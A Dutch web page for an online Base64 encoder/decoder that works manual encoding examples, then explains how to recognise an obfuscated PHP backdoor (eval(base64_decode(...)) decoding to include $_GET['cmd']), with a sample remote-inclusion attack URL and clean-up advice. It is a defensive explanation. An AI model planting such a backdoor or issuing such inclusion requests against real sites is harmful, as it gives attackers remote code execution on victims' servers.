Base64 online

EnglishNederlands
Base64 decoderen | Decimaal naar binair | Hexadecimaal omrekenen | Hash generator | QR Code
Base64 plaatje

Decoder - Encoder

Met deze online Base64 decoder kunt u de tekst naar ASCII tekens coderen en decoderen het van Base64. Base64 wordt meest gebruikt in e-mail protocollen om binaire data zoals uitvoerbare bestanden of foto’s te kunnen overdragen. Ook spammers en hackers maken gebruik van Base64 om inhoud van hun scripts of berichten van eenvoudige antispam of antivirus programma’s of van menselijke ogen te verbergen.

Voor het coderen of decoderen van Base64, plak je tekst in de textveld.

Share |
Base64 decode | encode

Handmatig coderen in Base64

Voorbeeld A.

× Als een voorbeeld gaan wij het woord “Base64” coderen in Base64.

Base64


× Hexadecimal representatie:

426173653634


× Binair representatie:

010000100110000101110011011001010011011000110100


× Daarna verdelen wij de resultaten in de groepen van 6 bits.

010000100110000101110011011001010011011000110100


× Verder, converteren wij de groepen van 6 bits naar decimal representatie.

163855125192452


× Als laatste, gebruiken wij base64 codering tafel om decimal waarden naar hun Base64 overeenkomstige tekens te converteren

QmFzZTY0


Voorbeeld B.

× Voor de volgende voorbeelden splitsen wij Base64 in twee kleinere delen. Dat worden “Ba” en “se64”.

Ba


× Hexadecimal representatie:

4261


× Binair representatie:

0100001001100001


× Wij kunnen dat opsplitsen in de groepen van 6 bits. Maar de laatste groep is maar 4 bits lang, daardoor moeten wij twee ‘0’ bits toe te voegen, en wij maken gebruik van teken ‘=’ aan het eind om dat te onthouden.

010000100110000100


× Decimal representatie:

16384


× Gecodeerd in Base64:

QmE=


Voorbeeld C.

se64


× Hexadecimal representatie:

73653634


× Binair representatie:

01110011011001010011011000110100


× Gesplitst in de groepen van 6 bits. De laatste groep bevat slechts 2 bits. Hierdoor moeten wij vier ‘0’ bits toe te voegen. Twee ‘==’ tekens aan het eind gaan dat betekenen.

011100110110010100110110001101000000


× Gecodeerd in Base64 wordt het:

c2U2NA==


Base64 codering tafel.

Base64 codering tafel



Eval(base64_decode

Eval(base64_decode("aWYoaXNzZXQoJF9HRVRbImNtZCJdKSlpbmNsdWRlICRfR0VUWyJjbWQiXTs="));

Als u iets wat er op lijkt in de code van uw website gevonden hebt, is het meest waarschijnlijk dat uw website is gehackt. Dit is een soort van backdoor in uw website. Gedecodeerd van Base64 word het

if(isset($_GET["cmd"]))include $_GET["cmd"];

Een aanvaller kan programma’s die op zijn site zitten gewoon op uw website uitvoeren. Op deze manier worden zijn programma’s opgeroepen.

http://www.yoursite.com/index.php?cmd=http://www.somesite.com/somescript.txt

Somescript.txt kan zijn de code zoals dit system("dir"); waar ‘dir’ is de commando die op uw site uitgevoerd wordt.

Gelukkig denkt de aanvaller niet over het feit dat alles wat met methode GET gedaan is, word in de web-server logs opgeslagen. Het is dus ook makkelijk om achter te komen wat er precies gedaan was.

Als u zo een code in uw website gevonden hebt, het veranderen van alle uw wachtwoorden is de zaak, die als eerst gedaan moet worden. Verder, controleer de rechten (644 zou gewoon voldoende zijn, als er niks anders vereist wordt). Omdat database wachtwoord in de leesbare tekst opgeslagen wordt, gebruik dit wachtwoord alleen voor de database en nooit voor iets anders, bijvoorbeeld voor FTP of control panel. Maak geen gebruik van shared hosting, want het aantal van bedrijven die shared hosting bieden is veel hoger dan het aantal van informatie beveiliging specialisten. Als een website op de shared hosting is gehackt, het is makkelijk voor de om alle andere andere websites op hetzelfde server te hacken.

Other tools:
Base64 decoderen | Decimaal naar binair | Hexadecimaal omrekenen | Hash generator | QR Code
© 2011 Base64 online